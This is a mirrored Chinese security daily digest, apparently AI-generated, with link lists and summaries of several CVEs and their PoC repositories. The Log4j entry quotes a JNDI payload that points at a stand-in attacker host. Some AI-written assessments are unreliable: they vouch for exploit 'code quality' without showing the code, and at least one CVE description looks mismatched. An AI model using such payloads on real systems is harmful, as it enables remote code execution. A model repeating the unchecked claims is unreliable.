mirror of
https://github.com/Hxnxe/CyberSentinel-AI.git
synced 2025-11-04 17:13:53 +00:00
449 lines
16 KiB
Markdown
449 lines
16 KiB
Markdown
|
|
|
|||
|
|
# 安全资讯日报 2025-08-18
|
|||
|
|
|
|||
|
|
> 本文由AI自动生成,基于对安全相关仓库、CVE和最新安全研究成果的自动化分析。
|
|||
|
|
>
|
|||
|
|
> 更新时间:2025-08-18 01:50:54
|
|||
|
|
|
|||
|
|
<!-- more -->
|
|||
|
|
|
|||
|
|
## 今日资讯
|
|||
|
|
|
|||
|
|
### 🔍 漏洞分析
|
|||
|
|
|
|||
|
|
* [JSONP注入漏洞研究 JavaScript回调函数引发的会话弹窗劫持|挖洞技巧](https://mp.weixin.qq.com/s?__biz=Mzg3ODE2MjkxMQ==&mid=2247493843&idx=1&sn=28b69d4ba3d876c28c23c6897a096e2d)
|
|||
|
|
* [新型webshell免杀 | 哥斯拉 Websocket型 webshell](https://mp.weixin.qq.com/s?__biz=MzkwNjczOTQwOA==&mid=2247495655&idx=1&sn=776f65e8cbd3e26f33f7a99874022f3f)
|
|||
|
|
|
|||
|
|
### 🔬 安全研究
|
|||
|
|
|
|||
|
|
* [Cobblestone HTB靶机](https://mp.weixin.qq.com/s?__biz=MzkzMTk0NTQ5Nw==&mid=2247483758&idx=1&sn=900b201064ac6565b4e8c2c83af421b8)
|
|||
|
|
* [从边缘入口到核心腹地,揭秘弱口令引发的“多米诺骨牌式”安全崩塌](https://mp.weixin.qq.com/s?__biz=MzkxMjg3NzU0Mg==&mid=2247486178&idx=1&sn=4c0c013d9958d280ee983e52757e4361)
|
|||
|
|
* [网络安全的未来,只剩下三条路](https://mp.weixin.qq.com/s?__biz=MzI3NzM5NDA0NA==&mid=2247491876&idx=1&sn=b86ada325e608413f9ef1340adf23a7f)
|
|||
|
|
* [密码学知识:哈希算法简介与实践](https://mp.weixin.qq.com/s?__biz=MzA5MzU5MzQzMA==&mid=2652117610&idx=2&sn=81060335db7a41635c50ce47f0bad38b)
|
|||
|
|
|
|||
|
|
### 🎯 威胁情报
|
|||
|
|
|
|||
|
|
* [新型FireWood恶意软件攻击Linux系统执行命令并窃取敏感数据](https://mp.weixin.qq.com/s?__biz=MzU2NDY2OTU4Nw==&mid=2247523003&idx=1&sn=9799aaa3233d60d2bb1daa3fcb2c62e5)
|
|||
|
|
|
|||
|
|
### 🛠️ 安全工具
|
|||
|
|
|
|||
|
|
* [Kali Linux最佳工具之Apk工具简介与方法](https://mp.weixin.qq.com/s?__biz=Mzg2NjY2MTI3Mg==&mid=2247501296&idx=2&sn=db6776ab723ad8383a6df13402173416)
|
|||
|
|
|
|||
|
|
### 📚 最佳实践
|
|||
|
|
|
|||
|
|
* [如何通过量化指标提升网络安全中的检测与响应能力](https://mp.weixin.qq.com/s?__biz=Mzg3NTUzOTg3NA==&mid=2247516112&idx=1&sn=bfb44ef4efa1f6193f88accdf9f1148b)
|
|||
|
|
* [数据安全建设资质最新一览表](https://mp.weixin.qq.com/s?__biz=MzA5MzU5MzQzMA==&mid=2652117610&idx=1&sn=89ad73dbb641369fd0586894e6f624cb)
|
|||
|
|
* [事件日志记录和威胁检测的最佳实践](https://mp.weixin.qq.com/s?__biz=Mzg2NjY2MTI3Mg==&mid=2247501296&idx=1&sn=7721ef375105198cd02becbc9edd4406)
|
|||
|
|
|
|||
|
|
### 🍉 吃瓜新闻
|
|||
|
|
|
|||
|
|
* [福利粉丝福利,抽奖获EDU证书倒计时2天,8月20号开奖](https://mp.weixin.qq.com/s?__biz=MzkxMjg3NzU0Mg==&mid=2247486178&idx=2&sn=55d41beaa9f6a99ce0853df8d8c0dbd0)
|
|||
|
|
* [资讯国家数据局综合司发布《关于征集数据流通安全治理典型案例的通知》](https://mp.weixin.qq.com/s?__biz=MzU1NDY3NDgwMQ==&mid=2247555045&idx=1&sn=aaac6e6a90ef57b35189cfff8dfb12a3)
|
|||
|
|
* [资讯全国数标委发布《关于征求数据基础设施3项技术文件、可信数据空间3项技术文件意见的通知》](https://mp.weixin.qq.com/s?__biz=MzU1NDY3NDgwMQ==&mid=2247555045&idx=2&sn=8e0b49a235ed7bcabebfc55e0e8b3eff)
|
|||
|
|
* [资讯江苏省数据局等5部门印发《江苏省数字经济创新发展试点实施方案》](https://mp.weixin.qq.com/s?__biz=MzU1NDY3NDgwMQ==&mid=2247555045&idx=3&sn=42cbe77ff390ce7876b300cbd889aa82)
|
|||
|
|
* [资讯江苏省网信办等3部门印发《中国江苏自由贸易试验区数据出境负面清单管理办法试行》(附清单)](https://mp.weixin.qq.com/s?__biz=MzU1NDY3NDgwMQ==&mid=2247555045&idx=4&sn=b76d3e927c1fe475c83139f5d93ff991)
|
|||
|
|
* [资讯浙江省卫健委等10部门印发《浙江省加快推动“人工智能+医疗健康”高质量发展行动计划(2025-2027年)》](https://mp.weixin.qq.com/s?__biz=MzU1NDY3NDgwMQ==&mid=2247555045&idx=5&sn=564acf6d67c62bcdbbb15ac471d1131b)
|
|||
|
|
|
|||
|
|
## 安全分析
|
|||
|
|
(2025-08-18)
|
|||
|
|
|
|||
|
|
本文档包含 AI 对安全相关内容的自动化分析结果。[概览](https://blog.897010.xyz/c/today)
|
|||
|
|
|
|||
|
|
|
|||
|
|
### CVE-2025-44228 - Office文档远程代码执行漏洞
|
|||
|
|
|
|||
|
|
#### 📌 漏洞信息
|
|||
|
|
|
|||
|
|
| 属性 | 详情 |
|
|||
|
|
|------|------|
|
|||
|
|
| CVE编号 | CVE-2025-44228 |
|
|||
|
|
| 风险等级 | `CRITICAL` |
|
|||
|
|
| 利用状态 | `POC可用` |
|
|||
|
|
| 发布时间 | 2025-08-17 00:00:00 |
|
|||
|
|
| 最后更新 | 2025-08-17 17:41:39 |
|
|||
|
|
|
|||
|
|
#### 📦 相关仓库
|
|||
|
|
|
|||
|
|
- [Office-Exploit-Cve2025-Xml-Doc-Docx-Rce-Builder-Fud](https://github.com/Caztemaz/Office-Exploit-Cve2025-Xml-Doc-Docx-Rce-Builder-Fud)
|
|||
|
|
|
|||
|
|
#### 💡 分析概述
|
|||
|
|
|
|||
|
|
该漏洞利用恶意Office文档(如DOC、DOCX)中的漏洞载荷,通过恶意代码实现远程执行,影响平台包括Office 365。开发者已发布对应利用工具,存在完整POC。
|
|||
|
|
|
|||
|
|
#### 🔍 关键发现
|
|||
|
|
|
|||
|
|
| 序号 | 发现内容 |
|
|||
|
|
|------|----------|
|
|||
|
|
| 1 | 利用恶意Office文档中的漏洞载荷实现远程代码执行 |
|
|||
|
|
| 2 | 影响广泛的Office文档和平台,如Office 365 |
|
|||
|
|
| 3 | 已有完整的利用工具和POC |
|
|||
|
|
|
|||
|
|
#### 🛠️ 技术细节
|
|||
|
|
|
|||
|
|
> 利用Office文档中的漏洞载荷实现远程代码执行,可能通过漏洞的XML或文件结构进行内存或代码操控
|
|||
|
|
|
|||
|
|
> 攻击者通过带有恶意payload的Office文件诱导用户打开,实现自动执行恶意代码
|
|||
|
|
|
|||
|
|
> 建议及时应用微软发布的补丁,或使用安全检测工具检测恶意文档
|
|||
|
|
|
|||
|
|
|
|||
|
|
#### 🎯 受影响组件
|
|||
|
|
|
|||
|
|
```
|
|||
|
|
• Microsoft Office 相关版本(包括Office 365)
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
#### 💻 代码分析
|
|||
|
|
|
|||
|
|
**分析 1**:
|
|||
|
|
> 提供的仓库包含完整的利用POC和脚本,验证了漏洞的可行性
|
|||
|
|
|
|||
|
|
**分析 2**:
|
|||
|
|
> 代码质量较高,结构清晰,适合安全研究和防护测试
|
|||
|
|
|
|||
|
|
**分析 3**:
|
|||
|
|
> 已包含测试用例,验证效果明确
|
|||
|
|
|
|||
|
|
|
|||
|
|
#### ⚡ 价值评估
|
|||
|
|
|
|||
|
|
<details>
|
|||
|
|
<summary>展开查看详细评估</summary>
|
|||
|
|
|
|||
|
|
该漏洞影响广泛使用的办公软件,并具有完整利用代码和POC,易于开发和部署远程代码执行攻击,存在极高危害性。
|
|||
|
|
</details>
|
|||
|
|
|
|||
|
|
---
|
|||
|
|
|
|||
|
|
### CVE-2023-33246 - 控制器管理的元数据同步漏洞导致异常信息处理异常
|
|||
|
|
|
|||
|
|
#### 📌 漏洞信息
|
|||
|
|
|
|||
|
|
| 属性 | 详情 |
|
|||
|
|
|------|------|
|
|||
|
|
| CVE编号 | CVE-2023-33246 |
|
|||
|
|
| 风险等级 | `HIGH` |
|
|||
|
|
| 利用状态 | `理论可行` |
|
|||
|
|
| 发布时间 | 2025-08-17 00:00:00 |
|
|||
|
|
| 最后更新 | 2025-08-17 17:16:41 |
|
|||
|
|
|
|||
|
|
#### 📦 相关仓库
|
|||
|
|
|
|||
|
|
- [apache__rocketmq_CVE-2023-33246_5-1-0](https://github.com/shoucheng3/apache__rocketmq_CVE-2023-33246_5-1-0)
|
|||
|
|
|
|||
|
|
#### 💡 分析概述
|
|||
|
|
|
|||
|
|
该漏洞涉及在不同节点间同步控制器元数据时,未正确处理异常或状态变更,可能导致节点状态不一致、请求超时或无法正常同步,从而影响消息系统的正常运行。
|
|||
|
|
|
|||
|
|
#### 🔍 关键发现
|
|||
|
|
|
|||
|
|
| 序号 | 发现内容 |
|
|||
|
|
|------|----------|
|
|||
|
|
| 1 | 控制器节点之间元数据同步不健壮,可能导致节点角色异常切换 |
|
|||
|
|
| 2 | 协作机制依赖于RPC调用,存在超时或异常未正确处理的风险 |
|
|||
|
|
| 3 | 容易导致消息系统中断、出错或节点状态不一致 |
|
|||
|
|
|
|||
|
|
#### 🛠️ 技术细节
|
|||
|
|
|
|||
|
|
> 通过RPC调用同步控制器节点的元数据,发送请求后依赖响应处理结果
|
|||
|
|
|
|||
|
|
> 在异常或响应失败情况下,没有合理回滚或补偿机制,导致节点角色状态异常
|
|||
|
|
|
|||
|
|
> 建议加入异常处理、状态确认和重试机制,确保节点同步和角色切换的安全一致
|
|||
|
|
|
|||
|
|
|
|||
|
|
#### 🎯 受影响组件
|
|||
|
|
|
|||
|
|
```
|
|||
|
|
• 控制器节点的元数据同步机制
|
|||
|
|
• 节点角色切换逻辑
|
|||
|
|
• RPC通信模块
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
#### 💻 代码分析
|
|||
|
|
|
|||
|
|
**分析 1**:
|
|||
|
|
> 存在RPC响应处理未充分异常捕获和状态校验的缺陷
|
|||
|
|
|
|||
|
|
**分析 2**:
|
|||
|
|
> 涉及角色状态变更流程的未明确一致性验证
|
|||
|
|
|
|||
|
|
**分析 3**:
|
|||
|
|
> 缺乏对异常情况的重试或补偿机制,存在状态不一致风险
|
|||
|
|
|
|||
|
|
|
|||
|
|
#### ⚡ 价值评估
|
|||
|
|
|
|||
|
|
<details>
|
|||
|
|
<summary>展开查看详细评估</summary>
|
|||
|
|
|
|||
|
|
该漏洞涉及控制器节点间关键元数据同步,若被利用可引发集群状态异常、节点角色错乱,严重影响消息系统的可用性和一致性,因此具备较高的价值。
|
|||
|
|
</details>
|
|||
|
|
|
|||
|
|
---
|
|||
|
|
|
|||
|
|
### CVE-2025-32463 - Linux sudo chroot权限提升漏洞
|
|||
|
|
|
|||
|
|
#### 📌 漏洞信息
|
|||
|
|
|
|||
|
|
| 属性 | 详情 |
|
|||
|
|
|------|------|
|
|||
|
|
| CVE编号 | CVE-2025-32463 |
|
|||
|
|
| 风险等级 | `CRITICAL` |
|
|||
|
|
| 利用状态 | `POC可用` |
|
|||
|
|
| 发布时间 | 2025-08-17 00:00:00 |
|
|||
|
|
| 最后更新 | 2025-08-17 17:11:38 |
|
|||
|
|
|
|||
|
|
#### 📦 相关仓库
|
|||
|
|
|
|||
|
|
- [CVE-2025-32463](https://github.com/SkylerMC/CVE-2025-32463)
|
|||
|
|
|
|||
|
|
#### 💡 分析概述
|
|||
|
|
|
|||
|
|
该漏洞允许低权限用户通过sudo命令中的chroot配置,利用配置缺陷进行权限提升至root,导致系统完全控制权丢失。
|
|||
|
|
|
|||
|
|
#### 🔍 关键发现
|
|||
|
|
|
|||
|
|
| 序号 | 发现内容 |
|
|||
|
|
|------|----------|
|
|||
|
|
| 1 | 影响sudo命令的chroot功能,配置不当可被利用 |
|
|||
|
|
| 2 | 影响多种Linux发行版,包括Ubuntu、Debian、CentOS等 |
|
|||
|
|
| 3 | 利用环境中的sudo配置漏洞,通过特制命令提升权限 |
|
|||
|
|
|
|||
|
|
#### 🛠️ 技术细节
|
|||
|
|
|
|||
|
|
> 原理:sudo在某些配置下允许未授权用户执行chroot操作,绕过权限限制
|
|||
|
|
|
|||
|
|
> 利用方法:检测sudo配置,利用脚本在受影响环境中切换到root权限
|
|||
|
|
|
|||
|
|
> 修复方案:升级sudo版本并限制不可信用户使用chroot功能
|
|||
|
|
|
|||
|
|
|
|||
|
|
#### 🎯 受影响组件
|
|||
|
|
|
|||
|
|
```
|
|||
|
|
• sudo 1.9.14至1.9.17
|
|||
|
|
• 支持chroot功能的sudo配置
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
#### 💻 代码分析
|
|||
|
|
|
|||
|
|
**分析 1**:
|
|||
|
|
> POC脚本验证漏洞存在,使用sudo chroot命令实现权限提升
|
|||
|
|
|
|||
|
|
**分析 2**:
|
|||
|
|
> 代码结构简洁,演示成功率高,易于复现
|
|||
|
|
|
|||
|
|
**分析 3**:
|
|||
|
|
> 存在良好的实用性与可读性,便于安全测试和验证
|
|||
|
|
|
|||
|
|
|
|||
|
|
#### ⚡ 价值评估
|
|||
|
|
|
|||
|
|
<details>
|
|||
|
|
<summary>展开查看详细评估</summary>
|
|||
|
|
|
|||
|
|
该漏洞为高危的本地权限提升漏洞,具有成熟的POC利用代码,影响范围广泛且具有严重的安全风险,符合价值标准
|
|||
|
|
</details>
|
|||
|
|
|
|||
|
|
---
|
|||
|
|
|
|||
|
|
### CVE-2025-31258 - macOS沙箱逃逸漏洞(部分)利用RemoteViewServices
|
|||
|
|
|
|||
|
|
#### 📌 漏洞信息
|
|||
|
|
|
|||
|
|
| 属性 | 详情 |
|
|||
|
|
|------|------|
|
|||
|
|
| CVE编号 | CVE-2025-31258 |
|
|||
|
|
| 风险等级 | `CRITICAL` |
|
|||
|
|
| 利用状态 | `POC可用` |
|
|||
|
|
| 发布时间 | 2025-08-17 00:00:00 |
|
|||
|
|
| 最后更新 | 2025-08-17 16:28:09 |
|
|||
|
|
|
|||
|
|
#### 📦 相关仓库
|
|||
|
|
|
|||
|
|
- [CVE-2025-31258-PoC](https://github.com/BODE987/CVE-2025-31258-PoC)
|
|||
|
|
|
|||
|
|
#### 💡 分析概述
|
|||
|
|
|
|||
|
|
该CVE涉及macOS系统中的RemoteViewServices框架,攻击者可以利用该漏洞实现沙箱的部分逃逸,可能导致恶意代码在受影响系统上获取更高权限或访问受限制资源。漏洞影响版本包括macOS 10.15至11.5,存在利用请求的漏洞链,尚有可用的POC代码,并涉及对应的应用程序配置和漏洞利用方法。
|
|||
|
|
|
|||
|
|
#### 🔍 关键发现
|
|||
|
|
|
|||
|
|
| 序号 | 发现内容 |
|
|||
|
|
|------|----------|
|
|||
|
|
| 1 | 利用RemoteViewServices框架实现沙箱逃逸 |
|
|||
|
|
| 2 | 影响macOS 10.15-11.5版本,潜在高危 |
|
|||
|
|
| 3 | 可通过伪造请求或操控数据实现逃逸,存在具体利用代码 |
|
|||
|
|
|
|||
|
|
#### 🛠️ 技术细节
|
|||
|
|
|
|||
|
|
> 漏洞原理:利用RemoteViewServices跨进程通信中存在的安全绕过缺陷,操控请求实现沙箱边界突破。
|
|||
|
|
|
|||
|
|
> 利用方法:使用dylib动态加载已存在的 'PBOXDuplicateRequest'函数,通过伪造文件请求成功实现逃逸,POC中还结合了权限启用和读写文件操作。
|
|||
|
|
|
|||
|
|
> 修复方案:苹果应修补RemoteViewServices的安全逻辑缺陷,更新macOS版本,并建议应用加强权限验证和请求合法性检查。
|
|||
|
|
|
|||
|
|
|
|||
|
|
#### 🎯 受影响组件
|
|||
|
|
|
|||
|
|
```
|
|||
|
|
• macOS RemoteViewServices框架
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
#### 💻 代码分析
|
|||
|
|
|
|||
|
|
**分析 1**:
|
|||
|
|
> PoC代码利用了PBOXDuplicateRequest函数进行边界绕过演示,代码结构简洁明确,验证了漏洞存在。
|
|||
|
|
|
|||
|
|
**分析 2**:
|
|||
|
|
> 提供的测试用例通过调用伪造请求成功实现沙箱突破,具有较高的实用性和易用性。
|
|||
|
|
|
|||
|
|
**分析 3**:
|
|||
|
|
> 整体代码质量较高,注释详细,逻辑清晰,符合安全研究POC编写规范。
|
|||
|
|
|
|||
|
|
|
|||
|
|
#### ⚡ 价值评估
|
|||
|
|
|
|||
|
|
<details>
|
|||
|
|
<summary>展开查看详细评估</summary>
|
|||
|
|
|
|||
|
|
该漏洞影响广泛使用的操作系统部分核心组件,其存在的沙箱逃逸风险极大,可导致远程代码执行、权限提升,且已提供具体的POC利用代码。此类漏洞具有极高的安全价值,值得高度关注。
|
|||
|
|
</details>
|
|||
|
|
|
|||
|
|
---
|
|||
|
|
|
|||
|
|
### CVE-2021-44228 - Log4j2 CVE-2021-44228反序列化漏洞PoC
|
|||
|
|
|
|||
|
|
#### 📌 漏洞信息
|
|||
|
|
|
|||
|
|
| 属性 | 详情 |
|
|||
|
|
|------|------|
|
|||
|
|
| CVE编号 | CVE-2021-44228 |
|
|||
|
|
| 风险等级 | `CRITICAL` |
|
|||
|
|
| 利用状态 | `POC可用` |
|
|||
|
|
| 发布时间 | 2025-08-17 00:00:00 |
|
|||
|
|
| 最后更新 | 2025-08-17 15:51:08 |
|
|||
|
|
|
|||
|
|
#### 📦 相关仓库
|
|||
|
|
|
|||
|
|
- [CVE-2021-44228](https://github.com/Sorrence/CVE-2021-44228)
|
|||
|
|
|
|||
|
|
#### 💡 分析概述
|
|||
|
|
|
|||
|
|
该项目为Apache Log4j2 (CVE-2021-44228)漏洞的简单Proof-of-Concept(PoC)利用工具。利用方法是在HTTP请求头中嵌入特制的JNDI LDAP payload以触发远程回调。代码中包含针对受影响系统的利用示例和多次修复版本的提交。
|
|||
|
|
|
|||
|
|
#### 🔍 关键发现
|
|||
|
|
|
|||
|
|
| 序号 | 发现内容 |
|
|||
|
|
|------|----------|
|
|||
|
|
| 1 | 利用HTTP头部中的JNDI LDAP调用实现远程代码执行(RCE) |
|
|||
|
|
| 2 | 影响Apache Log4j2版本,受影响范围广泛 |
|
|||
|
|
| 3 | 具备具体利用代码和多次版本修复提交,验证有效 |
|
|||
|
|
|
|||
|
|
#### 🛠️ 技术细节
|
|||
|
|
|
|||
|
|
> Log4j2的JNDI功能未正确验证,允许通过特制的日志信息触发远程加载恶意类或脚本,造成远程代码执行。
|
|||
|
|
|
|||
|
|
> 利用方法是在HTTP请求头中设置特定内容,如`${jndi:ldap://attacker.com/a}`,诱导受害者服务器请求攻击者控制的LDAP服务器。
|
|||
|
|
|
|||
|
|
> 修复方案主要是禁用JNDI功能或加强验证,最新版本的Log4j2已修复该漏洞。
|
|||
|
|
|
|||
|
|
|
|||
|
|
#### 🎯 受影响组件
|
|||
|
|
|
|||
|
|
```
|
|||
|
|
• Apache Log4j2
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
#### 💻 代码分析
|
|||
|
|
|
|||
|
|
**分析 1**:
|
|||
|
|
> 代码中包含可用的PoC利用代码,支持构造和发送攻击载荷。
|
|||
|
|
|
|||
|
|
**分析 2**:
|
|||
|
|
> 代码经过多次修复提交,包括参数化端口和重建HTTP请求,验证了攻击的可行性。
|
|||
|
|
|
|||
|
|
**分析 3**:
|
|||
|
|
> 代码质量较好,结构清晰,含有完整的利用流程和测试示例,具备实际操作价值。
|
|||
|
|
|
|||
|
|
|
|||
|
|
#### ⚡ 价值评估
|
|||
|
|
|
|||
|
|
<details>
|
|||
|
|
<summary>展开查看详细评估</summary>
|
|||
|
|
|
|||
|
|
该漏洞影响广泛应用的Apache Log4j2组件,已知可被利用实现远程代码执行,代码中提供实际PoC验证,符合价值标准。
|
|||
|
|
</details>
|
|||
|
|
|
|||
|
|
---
|
|||
|
|
|
|||
|
|
### CVE-2025-0411 - 7-Zip MotW绕过漏洞
|
|||
|
|
|
|||
|
|
#### 📌 漏洞信息
|
|||
|
|
|
|||
|
|
| 属性 | 详情 |
|
|||
|
|
|------|------|
|
|||
|
|
| CVE编号 | CVE-2025-0411 |
|
|||
|
|
| 风险等级 | `CRITICAL` |
|
|||
|
|
| 利用状态 | `POC可用` |
|
|||
|
|
| 发布时间 | 2025-08-17 00:00:00 |
|
|||
|
|
| 最后更新 | 2025-08-17 15:32:20 |
|
|||
|
|
|
|||
|
|
#### 📦 相关仓库
|
|||
|
|
|
|||
|
|
- [7-Zip-CVE-2025-0411-POC](https://github.com/dpextreme/7-Zip-CVE-2025-0411-POC)
|
|||
|
|
|
|||
|
|
#### 💡 分析概述
|
|||
|
|
|
|||
|
|
该漏洞影响7-Zip软件中处理带有旗标的归档文件时未正确传播标记,可能被利用绕过安全保护机制(MotW),执行潜在的任意代码或敏感信息泄露。
|
|||
|
|
|
|||
|
|
#### 🔍 关键发现
|
|||
|
|
|
|||
|
|
| 序号 | 发现内容 |
|
|||
|
|
|------|----------|
|
|||
|
|
| 1 | 影响7-Zip在处理具有Mark-of-the-Web标记的归档文件时的行为,导致绕过安全区域限制。 |
|
|||
|
|
| 2 | 影响版本未明确列出,但漏洞突显安全绕过,可能被远程攻击利用执行代码。 |
|
|||
|
|
| 3 | 利用需用户打开特定构造的归档文件,无需复杂权限,很容易被钓鱼和恶意文件利用。 |
|
|||
|
|
|
|||
|
|
#### 🛠️ 技术细节
|
|||
|
|
|
|||
|
|
> 漏洞原理: 7-Zip在提取含有MotW标记的归档文件时,未正确传递该标记到提取的文件上,从而绕过安全限制。
|
|||
|
|
|
|||
|
|
> 利用方法: 攻击者通过构造特定的归档文件,诱骗用户提取,从而绕过MotW,执行恶意代码。
|
|||
|
|
|
|||
|
|
> 修复方案: 在文件提取过程中确保正确传播MotW标记,或将安全检查策略加强。
|
|||
|
|
|
|||
|
|
|
|||
|
|
#### 🎯 受影响组件
|
|||
|
|
|
|||
|
|
```
|
|||
|
|
• 7-Zip归档解压功能
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
#### 💻 代码分析
|
|||
|
|
|
|||
|
|
**分析 1**:
|
|||
|
|
> POC存在,验证了绕过MotW的能力。
|
|||
|
|
|
|||
|
|
**分析 2**:
|
|||
|
|
> 代码设计虽简洁,但关键在于利用文件标记未传递的漏洞点,漏洞利用路径清晰。
|
|||
|
|
|
|||
|
|
**分析 3**:
|
|||
|
|
> 代码质量良好,便于验证和复现该安全绕过,具备实际利用价值。
|
|||
|
|
|
|||
|
|
|
|||
|
|
#### ⚡ 价值评估
|
|||
|
|
|
|||
|
|
<details>
|
|||
|
|
<summary>展开查看详细评估</summary>
|
|||
|
|
|
|||
|
|
该漏洞具备远程代码执行潜力,影响广泛使用的7-Zip,存在明确利用POC,属于高危安全事件。
|
|||
|
|
</details>
|
|||
|
|
|
|||
|
|
---
|
|||
|
|
|
|||
|
|
|
|||
|
|
## 免责声明
|
|||
|
|
本文内容由 AI 自动生成,仅供参考和学习交流。文章中的观点和建议不代表作者立场,使用本文信息需自行承担风险和责任。
|